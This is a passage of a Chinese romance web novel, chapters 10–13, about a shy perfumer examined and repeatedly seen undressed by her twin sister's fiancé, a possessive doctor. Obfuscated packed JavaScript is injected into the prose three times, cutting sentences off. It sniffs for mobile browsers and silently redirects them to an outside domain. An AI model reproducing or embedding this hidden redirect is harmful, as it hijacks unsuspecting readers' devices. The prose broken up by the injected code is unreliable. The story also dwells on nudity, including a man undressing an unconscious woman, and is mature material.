徐清聿黑润润的眼眸弯起,眼神透过金丝边镜片折射出一抹极淡的笑意,藏着些许戏谑,但很快归于平静。 他面无表情解释:“云听,12:15了,医生已经休息,你很急的话,我带你去。” “去、去哪?” 徐清聿说:“做心电图。” 云听懵然,心跳飞快,“你…你给我做?” 做心电图好像是要……脱衣服的。 想到这里,耳根也通红,热得能冒烟,忙不迭拒绝:“不行,不行的。” 徐清聿抬眼的动作刻意拉慢,上挑的眼尾摄人心魄:“为什么不行,我不是医生?” 云听紧咬下唇,无措地抓住衣角,“因为…因为做心电图……需要脱衣服。” 徐清聿似笑非笑地挑了下眉:“嗯,有些地方确实需要贴电极。不过放心,我会注意。” 云听更慌了,站在门口进退维谷。 徐清聿的视线落在云听小巧精致的耳廓,接着俯下身,凑到她耳边:“云听,我是医生,在我眼里,你和别的病人没有区别。” 10. 第十章 “云听,我是医生,在我眼里,你和别的病人没有区别。” 一盆冷水泼下,将云听心里杂乱的情绪彻底浇灭。 是啊,她和别的病人没什么不同,医生是神圣的职业,自己却在这里想这些乱七八糟的东西,未免太可笑了些,未免太把自己当回事了些。 云听深吸一口气,勉强稳住心绪:“好吧。” 徐清聿站起身,整理了下白大褂,语气淡淡:“跟我来。 云听默默跟在他身后,视线垂落在他的修长的背影上,手心冒虚汗。 正值中午,走廊只有零零散散几人。 一位女医生站在检查室门口收拾东西,看见徐清聿,露出笑容:“清聿,你还不休息啊?咦,今天你不是休假吗?” 徐清聿点头,不疾不徐回:“老夏请假,我临时过来顶班。” 云听看到女医生,心底翻涌的忐忑倏然消退。脸上的表情松弛几许,她如释重负道:“徐、清聿,有医生在,就不、不麻烦你了。” 徐清聿睨她,淡声说:“你先进去。” 云听心安几分,推开门走进去,目光飘过屋内的仪器,虽然紧张,但至少不是无法承受的局面。 一分钟后,门再次被推开,徐清聿迈步而入,白大褂的衣摆扬起,周身的空气都冻结在他的冷漠里:“躺下,我来。” 手中的手机掉落在地,云听全然不知,她惊愕地看着他,双眼瞪圆,声音结结巴巴:“那位女医生呢?不是让她……” “她去休息了。”徐清聿言简意赅。 云听呆滞地站在原地,脑海一片空白。 “时间不早了。”徐清聿低头调整仪器,头也不抬说道,“不要浪费时间。” 云听鼻间一凉,她猛地吸了口气,让空气灌入身体。然后才磨磨蹭蹭挪到检查床前,脱了外套和毛衣,僵硬地躺下去,双手不安地搅着裤子。 气氛静得能听见彼此的呼吸声。 “云听,心电图检查很快,不用紧张。”徐清聿站在床边,语调温柔得不可思议,与先前的冷漠判若两人。 “哦,好……”云听羞怯地应了一声。脸颊染上一抹绯红,不知道是因为紧张,还是因为徐清聿罕见的温柔。 徐清聿戴上手套,说:“羊绒衫。” 思绪纠缠成一团,云听放弃挣扎,一不做二不休,在徐清聿的目光中慢慢掀起羊绒衫。 剩下纯白色的内衣,她心存侥幸问:“这样可以吗?” 徐清聿眯眼,眼底一片深渊,脸上浮起不易察觉的愠色。 云听的皮肤上布满了淡红色的痕迹,像是吻痕,不规则地分布在胸前、腰部、腹部,胸口尤为明显。 痕迹的颜色虽然已褪去,却仍能看出那一刻的激烈与冲动。 这些深深浅浅的痕迹,显然并非轻轻一碰能留下的,那人一定用了很大的劲,才能在她的肌肤上烙下如此深刻的痕迹。 “徐…徐清聿…”见徐清聿没有反应,云听喊出他的名字。 “贴片的位置需要裸露皮肤,需要脱到里面的…”半晌,徐清聿回神,长睫投落暗影,收敛了一半情绪,“请您配合。” 请您配合。 您。 云听知道这是徐清聿对她的提醒。 徐清聿的耐心,已经到一个极限。 来医院之前,她想过会做心电图,所以为了方便,特意挑了前扣式的内.衣,只是她千算万算也算不到能遇到徐清聿。 云听颤颤巍巍地伸手摸向胸前的扣子,扣子解开,薄薄的内衣失去支撑,虚虚地挂在胸口,她本能地按住布料。 “请您把手放两边,不然我没法贴电极片。” “好、好的…”云听咬牙把手垂直身侧。 云听的皮肤很白,带着一点儿粉,如桃花般娇嫩动人。腰肢很细,平坦紧致得没有一点赘肉,再往上,浑圆馥郁的胸口正随着急促的呼吸起起伏伏。 她的胸并不算丰满,但形状很漂亮,不是夸张的丰盈,很自然。微微地起伏间,透着几分柔和的韵味,既不张扬,也让人难以移开视线。 云听羞愧地别过头,“徐、徐清聿,可以快——” 下一秒,她看到徐清聿冰冷的视线正停留在自己的胸口,压迫感快要化为实质,突然失语了,“快…一点吗?” 徐清聿收回视线:“别动。” “好…”云听小声说。尽管她知道这是检查的标准程序,但一想到被暗恋的人看光了身子,脸遏制不住地变红。 虽然,也不是第一次了。 但这一次,是在她有意识的情况下… 徐清聿准备好四肢导联的电极,给云听的手腕和脚踝的皮肤用酒精棉擦拭消毒。 冰凉的酒精棉触碰到她温热的肌肤时,云听身子颤了颤。 接着,徐清聿将电极夹固定在她的手腕和脚踝上,然后走到床边,拿起胸前导联电极,将贴片按在她心脏区域的位置。 云听尽力让自己放松,却发现自己无法冷静下来,徐清聿每一次靠近,都会让她的心脏狂跳不已。 胸口跳动的节奏,几乎要突破身体的极限。 她甚至能感受到贴片贴合的地方,肌肤下的血液正以一种狂热的节奏奔涌着,炙热又疯狂。 机器开始运转,屏幕上的波形跳动,显示出云听心脏的电活动。 “你心跳太快了。”徐清聿看机器上的数据,上面波动的曲线凌乱,心率高得让他不由皱起了眉头,“放松,深呼吸。” “我…我尽量。” 话虽这么说,但是徐清聿每一个细小的动作都让云听无法集中精神,胸腔里跳动的心脏变成了巨大的鼓槌,一声声震耳欲聋,撞击着她的每一根神经。 徐清聿盯着屏幕上的波形,心电图仍存在异常。 心跳过快,可能是由于紧张所致。 他开口:“云听,不要紧张。” “不行,不能再这样了。” 云听闭上眼睛,强迫自己不去看徐清聿,不去想他的一举一动。 “工作……” 她在脑海里默念,想起领导交代的任务。 要设计一款以“酒香”为主题的香水。 可是,到底该怎么调配呢? 没有头绪。 很烦。 哦,公司最近还新来了一个年轻的实习生,叫林悦。 第一天就很猖狂,不服管教。 不过,奇怪的是,第二天开始,林悦的表现忽然与之前大相径庭。她不仅提前完成她交代的任务,还主动帮忙整理香料样品。 这几天也乖巧得不行,不知道是不是装的。 只要不给她惹麻烦就行。 …… 心电图检查结束的提示音响起,屏幕上显示的波形归于平静。徐清聿俯身帮她摘下贴在胸口和四肢的电极片。 冰凉的电极片被撕下,在云听的皮肤留下一层浅红。 徐清聿的动作是专业的,但不可避免的,手指碰到了她的皮肤。 云听紧紧抿着嘴唇,不说话。 “擦一下。”徐清聿从桌上抽出几张纸巾,随手递给她。 他的目光没有再多停留,直接转身去整理机器上的数据。 云听恍惚了一下,随即才意识到,徐清聿是让她擦掉胸口和皮肤上残留的酒精和导电胶水。 她坐起身,胡乱的擦拭一番。 胶水微黏的触感让她越擦越心慌,手指也不听使唤地失了准头。一不小心,纸巾没完全压住边缘,竟将半干的胶水推向了不该去的地方。 她垂下眼,只一瞥,顿时大惊失色。 粉色的花蕊娇怯地挺立在花瓣的簇拥中,花心深处染着一抹湿润的红,娇艳欲滴。 “好了吗?”徐清聿低沉的声音自上方传来。 轻飘飘的三个字,让云听的手一抖,纸巾掉落在地。 她连捡都顾不上,飞快扣上内衣,又慌乱地将羊绒衫拉下来,语无伦次地回答:“我马上——” 她想确认徐清聿有没有注意到她的窘迫,迟疑地抬起头,视线从上而下,谁知这一转头,竟正好撞上了他居高临下的目光。 徐清聿双手抱臂站在一旁,面无波澜,但他的视线不偏不倚,正落在她的身上,早已把她的一举一动尽收眼底。 徐清聿是一直在看她吗? 完了… 云听着急忙慌穿好衣服,遮住身上的红痕,狼狈地离开科室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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辛亦桐震惊:“天啊!你,你现在还好吗?!” “还能怎么样,想死。”云听抬手遮住脸,声音闷闷的,耳朵已经烧得滚烫了。 辛亦桐消化完这惊人的消息后,安慰云听:“算了,就当被狗看光了吧。” “狗…”云听哭笑不得,“你别这么说,他好歹是个人。” 两人扯七扯八聊了几句,辛亦桐突然哪壶不开提哪壶:“云云,徐清聿一定能看出来你喜欢他,” 云听立刻否认:“怎么可能,心跳快就代表喜欢他吗?”她的声音很急切,拼命在为自己心跳失控辩解。 “NoNoNo,我告诉你,”辛亦桐调侃,“你面对徐清聿的时候,心跳的曲线是心形的。” “你开什么玩笑!”云听嘟囔,“这个笑话一点都不好笑。” 辛亦桐捧嘴笑得更大声。 两个小时后。 云听拿着抽血报告和心电图报告,再次走进诊室。 徐清聿放下手中的笔,示意她将东西递过来。 看完报告,他说:“你的心脏没事,报告显示一切正常。” 云听悬着的心终于放下了一点。 可是,刚刚放下的心又被徐清聿的下一句话拨乱:“你最近心情不好?” 云听的心再次提起,只不过这次不是因为担忧,而是一种被看穿的不安,“没有…” “心电图显示,你的心跳有些异常,但不是器质性问题,更像是心理因素导致的。再加上你的抽血结果,生理指标正常,说明问题不在身体上。”徐清聿语气仍然平静,但语调里带着极强的洞察力。 “我……”云听埋头,像一只无助的鹌鹑,“可能是最近工作有点忙,压力大吧。” 徐清聿一哂:“只是工作问题?” “真的没什么,我会调整的。” 徐清聿没有再追问,他轻描淡写地说了一句:“下周一,如果不想太累,请假一天。” 11. 第十一章 云听不明白徐清聿为什么让她下周一请假,周日是姐姐和他的订婚宴,她不过算是一个无关紧要的家属,又不是主角,更不是这场婚礼的策划者,哪里会累到需要特意请假? 订婚宴的每个环节,孟妍早就安排得井井有条,每一个细节都到了吹毛求疵的地步。 她当天只需要负责一些可有可无的琐事,帮忙接待来宾、应付长辈间的寒暄之类的。 这些对她来说都不算麻烦,没必要请假。 但顾及徐清聿在工作,云听便没继续追问下去。 从医院出来后,她回了一趟辛亦桐家,收拾好东西拖着行李独自回家。 * 云听拎包站在徐宅前,哈出的白气在冷空气中迅速散开,消失在天地之间。 转头时,正好看到一辆熟悉的车缓缓驶入,在她面前停下。 轮胎碾过薄雪,留下深深的印痕。 车门打开,云闻率先从副驾驶上下来。她裹着一件浅灰色的呢大衣,脖子上绕着柔软的围巾,俏生生地站在车旁,“听宝,你出差回来了呀?” 云听点头:“嗯,刚回来。” 驾驶座的车门也被打开,徐清聿从车上走下来。 他穿着黑色长款大衣,挺拔如松,周身萦绕一股冷峻的气场。 风雪中,他抬起眼,目光扫过她,没有过多停留。 却像无声的雪片,落在云听心头,激起一阵寒意。 徐清聿没有开口,绕过车头,径直走到后备厢取东西。 “最近工作是不是特别忙?看你气色不太好。”云闻走到云听身边,接过她手中的行李,关切地问道,“瘦了。” 云听没让她拿,笑了笑,“没事,天气冷而已。” 云闻正要说什么,徐清聿已经提着一个袋子走过来,顺势接过两人争夺的行李,“先进去。” 进门后,云听又面对新一轮的关切。 “哎呀,这一趟出差,怎么瘦了这么多?是不是没吃好,没睡好啊?” “年轻人不能总这么折腾,身体是革命的本钱啊!” 徐爷爷和徐奶奶的关怀轮番上阵,云听心头蓦地一阵发虚,脸上的笑容僵硬了几分。 但谎言一旦出口,已是覆水难收。她只得硬着头皮含糊应对:“没事的,忙了一点而已。” 说罢,她的余光不小心扫过不远处和云闻聊天的徐清聿,他正好抬头,目光幽深,漆黑的眸子像是两口深井。 徐清聿并未开口,却让她不寒而栗。 云听连忙垂下眼帘,装作没看见他的目光。 但她知道,徐清聿一定早已察觉她的谎言,只是没有当面拆穿而已。 屋内气氛有些凝滞,徐奶奶却毫无察觉,依旧握着她的手絮絮叨叨:“你呀,早点休息,明天可还有正事要宣布呢!” “正事?”云听疑惑地问了一句。 “明天你就知道了,”徐奶奶神秘兮兮一笑,卖了个关子,显然不打算多说。 云闻也从沙发后探出头来,冲她俏皮地眨了眨眼,没头没尾说:“今天是我拜托聿哥过来接我的,听宝,你不要误会。” “?”云听皱了皱眉,总觉得她的笑容里藏着什么猫腻,但她一向不是爱刨根问底的人,索性将好奇心按捺了下去。 吃完晚饭,云听回到房间,简单收拾了一下后走进浴室。 热水从花洒里喷涌而出,雾气升腾,模糊了四周的镜面。 她站在水流下,温暖的水珠滑过肩头,脑海里的记忆却像走马灯一样不断浮现出来。 此刻想起,她的脸又不争气地滚烫起来。她抬手捂住脸,仰头让热水冲刷,将所有的羞意与心慌一并洗去。 云听自小便是一个保守的人,从小到大,她的穿着始终规矩,裙子不过膝,衣领也不曾过低。连在家里,她也很少穿无袖或短裤。 上大学后,她的三个室友都是清一色的北方姑娘,性格大大咧咧,活泼开朗,从来不避讳在寝室里换衣服。 她们不仅不回避,有时候还会相□□价彼此的衣着或身材。 一开始,云听是不适应的,甚至觉得尴尬,尤其当她们大大方方地在自己面前脱下上衣或者换裤子时,她会下意识地将目光移开,脸颊微微发热。 但她始终没有潜移默化加入她们的行列。需要换衣服时,她会将床帘严丝合缝拉好;去沙滩或者海边玩时,她也会坚持穿一件简单的连体泳衣,并搭配薄薄的外衫。 从云听记事起,和她最亲密的云闻也未见过她的身体。 然而,徐清聿,与她毫无血缘关系的外人,却见过两次。 第一次,徐清聿说:“云听,我以后是医生。” 第二次,徐清聿说:“云听,我是医生。” * 依旧是六年前的暑假,八月中旬。 台风肆虐,不仅带来了狂风,也把整座城市困在了暴雨之中。 云听自八月初开始就忙得不可开交,加班连轴成了家常便饭。最近几天,她的状态愈发不对劲,脸色苍白,步履也有些虚浮,吃饭更是心不在焉。 她只当是姨妈来临前的虚弱,并未在意。 公司出于对员工通勤安全的考虑,给他们放了假,直至台风天气结束。 云听终于有机会休息,一趟就是一天。 晚上,徐清聿迟迟不见她从房间里出来,思索片刻,迈开长腿走向她的房间。 轻轻敲门两下,里面没回应。 他又唤了一声,里面依旧无人应答。 徐清聿便直接推开门,屋内灯光昏黄,云听躺在床上,卷着薄被,似乎在睡觉。 她的脸色是不正常的红,嘴唇干裂,呼吸急促,额头满是细密的汗珠。 徐清聿皱起眉,走到床边,“云听,你醒醒,怎么了?” 云听却毫无反应,眉心紧锁,正陷在某种痛苦中。 徐清聿伸手探向她的额头,触手的灼热让他心一沉。 “发烧了。” 窗外的狂风依旧猛烈,人出不去,也没办法找医生进来,他只能先自己处理。 徐清聿站起身,去客厅找退烧药和温度计,又倒了一杯温水。 折返回到房间时,他的目光再次扫过云听。 床上的人看起来尤为脆弱,汗湿的发丝贴在脸侧,嘴唇微微张开,呼吸越发紊乱。 徐清聿在床边坐下,扶起云听,让她靠在自己的肩上。 云听的身体软得像没有骨头,一抬就靠了过来,滚烫的热度隔着薄薄的布料传到他身上。 徐清聿低头,声音低沉:“把药吃了。” 云听闭着眼,明显有点儿神志不清,也不配合吃药。 徐清聿无奈,只好拿起药片,蘸了些水在她嘴边润了润,然后喂到她唇边,耐心哄道:“张嘴,快点。” 云听仍没有反应,徐清聿蹙眉,修长的手指轻轻掰开她的嘴唇,将药片放了进去,接着用水杯喂她喝水。 云听咳嗽了几声,总算把药咽了下去。 吃完药,徐清聿瞥到她身上的睡衣已经完全湿透,薄薄的布料贴在身上,勾勒出细瘦的轮廓。 一清二楚。 他看了几秒,眼神暗了暗。 一分钟后,他回到自己房间拿了一件舒适的T恤,回来后,伸手解开她的睡衣纽扣。 布料剥离时,云听雪白的肌肤暴露在空气中,皮肤上有一层薄汗。 她身形修长却略显单薄,因为痛苦,肩膀未完全舒展开,纤细的锁骨像两弯清浅的月牙嵌在肩颈之间。 像一颗未成熟的青果,散发着天然的清甜,却又有些许生涩的不完满。 徐清聿低垂着眼,干脆利索将湿衣服脱下,给她换上自己的衣服。 他的衣服对云听来说太大了,袖子长到遮住了她的手指,衣摆垂到大腿,让她看起来既局促又惹人怜爱。 云听难受地咳嗽了一声。 徐清聿回过神,眼底笼罩一层暗色。 他帮云听拉下盖在身上的被子,却发现床单上赫然有一抹鲜亮的红。 他一愣,目光落在她的睡裤上,果然有同样的痕迹。 徐清聿意识到,云听不仅发烧,还在特殊时期,病弱的状态解释得通了。 他沉默两秒,伸出长指感受她额头的温度。 云听仍紧闭双眼,陷在烧热中昏昏沉沉。 最终徐清聿蹲下身,抽了几张纸巾,动作尽量轻柔地替她清理了身上的痕迹。 他又到卫生间,翻找抽屉、柜子,没有找到她需要的东西。 窗外雷声滚滚,雨点敲打窗玻璃,徐清聿抓起一把伞便冲进了雨里。 处理完一切后,徐清聿望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐清聿见她这副模样,眉头微微一挑:“别乱想。我不是圣人,但也不会趁人之危。你昨晚发高烧,如果不处理,后果会更严重。” 他说得冷静坦然,认为这件事没什么可羞耻的,可落在云听耳中,又羞又窘。 或许是还未退烧,云听大脑浑浑沌沌,整个人像熟透的虾一样蜷缩进徐清聿被子里。 鼻腔充斥着他清冷的气息,很好闻, 不敢抬头看他… 为什么不穿内.衣睡觉,为什么姨妈不偏不倚正好来…徐清聿他… 完了,彻底完了… 徐清聿看着她这副模样,也没说什么:“等下把药吃了。还有云听,我以后是医生,你只是我的病人。” * 云听越是想刻意逃避,那些细节却越发清晰。 水流的声音此刻听来莫名刺耳,她心烦意乱地关掉花洒,擦干身体裹上浴巾,出来时,脚下一滑,猝不及防地摔倒在了冰冷的地板上。 另一边。 Elliot:「Zeph,快递记得签收一下,给你媳妇的见面礼,这些包包我可是拜托了好多人的!」 徐清聿:「嗯」 Elliot:「突然想到一件事,你几年前买卫.生巾,是不是就是给你媳妇买的?」 徐清聿:「嗯」 Elliot:「Zephyr!!!你还说你不喜欢你媳妇,你不喜欢你冒着暴雨给她去买?!」 徐清聿:「她是病人。」 徐清聿揉了揉眉心,Elliot的称呼,他也懒得纠正。 那天晚上,只有24小时自动便利店开着,他到那时,在墙角的小区域看到卫生用品,但他分不清什么是她需要的。 所以他掏出手机拨通Elliot电话,开门见山:“问你女朋友,卫生巾怎么选?” 对他来说,那会儿他的确把云听当作病人。 Elliot:「不管,我马上回国!!」 徐清聿:「随你」 徐清聿刚放下手机,就看到云闻的消息:「聿哥,听宝在浴室摔倒了,麻烦你现在去一下!!!!」 徐清聿:「?」 云闻:「我现在不方便」 徐清聿:「我方便?」 12. 第十二章 云听惊呼一声,手本能地抓向墙壁,却因水汽凝结的湿润表面而落了空。 她的身体失控地倒向地面,后背重重地撞在冰冷的瓷砖上,发出一声闷响。 “嘶——”突如其来的痛感让云听倒吸了一口凉气。 她试着撑起身体,可稍稍用力,脚踝就钻心一般疼痛。 咬牙尝试好几次,最终都失败了,云听瘫坐在地上,给云闻发:「姐,我脚扭到了,站不起来,能过来一下吗?」 云闻回:「马上到。」 消息发出去后,云听靠在冰冷的瓷砖墙壁上,闭着眼等着救援。 地板上积了一滩水迹,反射出她苍白的脸。 一分钟、两分钟过去,外面没有一点儿动静。她再次拿起手机,这时听到浴室外传来一阵脚步声。 “姐?”云听试探性地喊了一声,下一秒,她听到的徐清聿低冷的声音:“是我。” “啪嗒”,手机从掌心滑落。 39.9的防窥屏膜终于承受不住打击,裂开一道道深浅不一的裂纹,彻底宣告阵亡。 云听拾起手机,抬头望向紧闭的浴室门,问:“徐、徐清聿,你怎么来了?姐姐呢?” 徐清聿回:“她有事,叫我过来。” 云听急了,连忙说道:“没事,我没事!我能起来,你不用进来……” 她从反光的墙砖中看到自己此时湿漉漉的模样。 凌乱的头发贴在额头,浴巾裹得并不牢固,整个肩膀和锁骨都裸露在外,脚踝处还红肿一片。 要是让徐清聿第三次看到自己这副模样,实在太过丢人。 徐清聿没有给她推辞的机会:“我开门了。” 话音刚落,浴室门开了。 徐清聿穿着一身黑色的家居睡衣,领口扣子整齐地扣到了最上一颗,禁欲的气息笼罩着整个人。 灯光落在他的脸上,锋利的眉骨、深邃的眼窝和刀削般的轮廓一览无遗,那双冷淡的眼眸微微下垂,看向她时带着一种沉静的威压。 徐清聿的目光停留在她微红的脚踝上,他没有多言,直接上前一步,弯下腰将她抱了起来。 水珠沾湿了他的衣袖,也没有在意。 “等、等一下!”云听慌乱地抓紧浴巾:“我可以自己……” “安静点。”徐清聿冷冷打断她的话。 极其严肃的口吻,没有商量的余地。 云听隐约嗅到他身上沐浴露淡淡的冷香,是薄荷和雪松木。她大脑慢了半拍,才发现他白天身上没有白梅香。 徐清聿将她抱到沙发上。 云听犹如一只慌乱的小兽,时不时觑他一眼,又急忙移开,生怕被他发现。可越是克制,目光却越不听话地一次次黏上他的脸。 她想起她狼狈的时候,每一次,都能遇到徐清聿。 不知道是幸运还是不幸。 想到这里,心里没来由地发酸。 云听别过头,不想让徐清聿看见自己的脸。 徐清聿注意到她躲闪的动作,眼中闪过不明的情绪。片刻后,他伸手捏住她的下巴,逼着她转过头来,对上他的眼睛。 “哭什么?” 云听矢口否认:“我没哭。” 徐清聿离她很近,近到她能清晰地看到他的睫毛和薄而冷的唇,像他这个人一样难以接近,又想要靠近。 云听的心跳乱成一片,她恍惚间生出一种荒唐的冲动,“如果亲上去会怎么样?” 这个想法让她猛地惊醒,赶紧低下头,拼命按捺住自己的情绪。 徐清聿盯着她,声音有几分让人无法反驳的威严:“你是不是有话要说?” 云听抿紧了唇,却死死地咬住不敢吐露心声,过了很久,她说:“对不起。” 徐清聿没有理会她的道歉:“把脚伸出来。” 云听犹豫了一下,慢吞吞伸出脚。 脚踝红肿,但并不严重。 徐清聿拿起冰袋,敷在她的脚踝上。 他的睫毛很长,眼睛半垂着,神情沉静,让人不敢出声打扰。 冰冷的触感瞬间袭来,云听强忍着不动。 犹豫了片刻,她再次道歉:“对不起。” “为什么要道歉?” “我……上次喝醉了。”云听小声说,“不是故意要、要占你便宜的…” 徐清聿动作一顿,指尖在她脚踝上停住。 他抬眸,看到她肩膀和锁骨上的“吻痕”,沉声问:“云听,你知道你做了什么吗?” 云听张嘴,语无伦次道:“我…我不知道。” 徐清聿放下手中的冰袋,冷笑一声。 短促的笑声,像一记无声的讽刺,将周围的空气拉低至冰点。 他慢慢俯下身,靠近云听,低沉的声音压在她的耳边,如冰冷的刀刃一点点划开她仅有的镇定:“你吻了我,咬破了我的嘴唇,还哭着说……” “哭着说,要和我结婚。” 云听瞪大眼睛,“什、什么?” 徐清聿的手指拂过她的锁骨,那动作明明是轻柔的,却让她感到一阵刺骨的寒意。 云听一直以为徐清聿外表冷酷,内心是温柔的。 毕竟,每当她狼狈不堪时,他都会出现在她身边照顾她。 她也见过他在诊室里,低头仔细倾听病人的诉说,语柔和而耐心,即使是最细小的症状,他也会认真地记下。 云听记得有一次,一个小女孩因为害怕打针而号啕大哭,徐清聿蹲下身子,与小女孩视线齐平,用轻柔的话语安抚她,还从口袋里变出了一颗糖果,逗得小女孩破涕为笑。 然而现在的他,似乎换了一个人。 “怎么,不敢承认了?”徐清聿直起身,“你又想说你认错人了?是酒吧门口的男人?” “云听,晚了。” * 第二天。 徐清聿来到心理诊疗室。 诊疗室的摆设和17年之前没有太大变化:靠墙摆放书架,上面挤满关于心理治疗、神经科学、精神分析的著作和研究文献;窗边有一张柔软的真皮沙发,旁边的小茶几上摆着一套陶瓷茶具。 空气中飘着淡淡的柠檬精油的味道,夹杂着一种书本纸张的陈旧气息。 坐在书桌后面的,是徐清聿十七年来的心理医生,迈克尔·艾德森博士。 迈克尔博士今年52岁,是M国心理学界赫赫有名的人物,名声遍布全国,甚至跨越了国界。 他曾是哈佛医学院心理学系的教授,还担任过联邦心理健康顾问,参与制定过多项与心理治疗相关的政策。 他的研究涵盖从强迫症到边缘性人格障碍的广泛领域,其中关于创伤后应激障碍(PTSD)的治疗理论更是影响深远。 然而,即便是这样的顶尖专家,也并非无往不利。 徐清聿就是他失败的案例。 迈克尔·艾德森并非长期定居国内。他的主业仍然在M国私人心理诊所,平时主要负责高净值人群的心理健康管理。 只是,近两年来,他的身影频繁出现在国内。 两年前,迈克尔的一位旧友,也是他当年的大学同窗,在一次私人聚会上向他提出了一个特殊的请求。这位旧友的亲人罹患严重的精神障碍,尝试过各种治疗方法却收效甚微。迈克尔便抱着帮忙的心态,飞往国内对他进行长期治疗。 徐清聿当初能够成为他的病人,完全是因为一个朋友的关系。 “说说看吧。”迈克尔把笔记本放在膝上,等待徐清聿的开口。 徐清聿目光掠过窗外,又回到迈克尔的身上:“我最近,和一位异性发生了一些事。” “异性?”迈克尔迅速捕捉到这个词,问道,“是你之前提到的那位女性吗?你对她有欲望?” “嗯。”徐清聿颔首:“我发现,我对她……有占有欲。” “占有欲?”迈克尔重复了一遍,不带任何评判之意,“具体是指什么样的占有欲?能举个例子吗?” “我不希望她接近别人,尤其是男人。” 迈克尔点点头,沉思片刻,问道:“你觉得,这种占有欲,源自你对她的感情吗?” 徐清聿的目光变冷,他的回答也更加干脆:“不是。” 迈克尔没有急于反驳,而是继续引导:“既然不是感情,那你觉得,它是什么?” 徐清聿没有回答。 迈克尔:“或者我换一种问法,既然你无法与异性建立亲密关系,为什么还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698984|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择结婚?” “这是长辈定下的婚姻。” “具体是怎么回事?看得出来,你对此并不甘愿。” 徐清聿靠在沙发上,闭了闭眼:“两方的长辈早在我小时候就定下了这桩婚事。我爷爷奶奶和她们的爷爷奶奶关系很好,可以说是世交。他们临终前,留下的遗愿就是希望两家能结成亲家。” 迈克尔微微点头,用笔在纸上写下“长辈安排”、“遗愿”几个关键词。他注视着徐清聿,继续问道:“你提到‘她们’,是指你的未婚妻和她的妹妹?” 徐清聿眉宇间闪过隐约的不耐烦:“对,她们是双胞胎。长辈当初只想到定下这桩婚事,却没想到会有两个孩子。” “也就是说,你的选择实际上是被强加的。”迈克尔陈述事实,“你的家庭对此也没有异议?” 徐清聿嗤笑:“我的家庭很开明,但在这件事上却意外地倔。特别是我母亲,她从小就教我独立选择,但这件事上,她只有一句话——‘她们家对我们家有恩’。” 迈克尔的目光一凝:“那你怎么看待这个所谓的‘恩情’?” 徐清聿的表情冷了几分:“我不知道。那是上一代的事情,与我无关。” 迈克尔没有急于评价,而是将问题引向另一个层面:“那你对她们呢?16年的相处,你是怎么看待她们的?” 徐清聿沉默了半晌:“16年,我早就把她们当成亲妹妹看待。如果非要让我选一个人结婚,她们确实是不二人选。” “为什么?” “因为我不讨厌她们。”徐清聿冷静地说:“她们是唯一让我不觉得厌恶的异性,或许是因为从小就熟悉。” “只是因为‘不讨厌’?”迈克尔敏锐地抓住了这个词,“那你对她们有没有更深层次的情感,比如依赖、保护,甚至喜欢?” “我从未喜欢过任何人,至少不是那种意义上的‘喜欢’。” 当云闻和他说睡一觉时,徐清聿同意了。 云闻算是他从小到大最熟悉的异性,如果连她都不行,那其他人更不可能。 可当云闻站在他面前时,他的内心毫无波澜。当她的吻快要落下时,他偏头了,那个吻只落在他的侧脸上。 那天,他对云闻说:“抱歉。” 云闻没说什么,手指沿着他的胸膛向下。 徐清聿没有制止她。 云闻笑了,然后穿上衣服转身离开。 后来,徐清聿见到了喝醉酒的云听。 平时,云听总是规规矩矩地和他保持距离,刻意避开他,好像很怕他。 可那天,他第一次看到她的另一面。 她看起来很可怜,很脆弱,像是……随时会碎掉一样。 徐清聿再一次生出异样的心思。 第一次他对云听说“跟我上床”,第二次他问云听“想和我结婚吗”,其实并无旖旎的想法,只是想看云听的反应。 她那个样子让他觉得……有趣。 后来他想,既然云听可以勾起他的欲.望,他也享受云听“害怕”自己的模样,那他为什么不和一个“有趣”的人结婚? 从徐清聿决定要娶云听的那一刻起,她的一切就已经属于他了。 不是因为爱她,而是因为一种深植于骨髓的占有欲。哪怕没有感情,他依然容不下她属于别人。 不管是身体还是灵魂,她都只能是他的。 * “从你的描述中,我听到了矛盾。”迈克尔轻声说道:“你似乎在努力接受亲密关系,但又在潜意识中拒绝爱人。” 徐清聿手上不知何时夹着一支烟,烟卷未燃,静静地挂在唇边。 他很少抽烟,烟瘾几乎可以忽略不计。但现在,他将打火机划过,“咔嗒”一声,火苗点燃了烟卷。 他问:“你又想说什么?童年阴影?创伤?” 迈克尔笑着说:“我只是想告诉你,亲密关系本身并不可怕。可怕的是,你对它的认知和期待,可能早已被过去的经历所扭曲。” “扭曲?”徐清聿问:“你认为我在害怕?” “你对妹妹的占有欲,而你不承认你对她的感情,其实都指向了一个问题——你拒绝情感的靠近,因为它让你失控。” 13. 第十三章 工作性质让云听可以不必经常待在公司。她的小型实验室就设在家中。 偶尔,她需要去公司与团队沟通或者参与新品发布,但更多时候,她在家中独自调试香型,或者带着便携式工具箱外出采风。 早上七点,云听便坐在书桌前工作。 房间虽然不及实验室设备齐全,但在开发新香水的前期,灵感的捕捉与初步设计并不依赖实验设备和精密仪器,更多时候,真正的创意是在思维最放松时冒出的。 云听放下手边的笔记本,打开手机备忘录。 备忘录对她来说,既是灵感的载体,也是创作的起点。 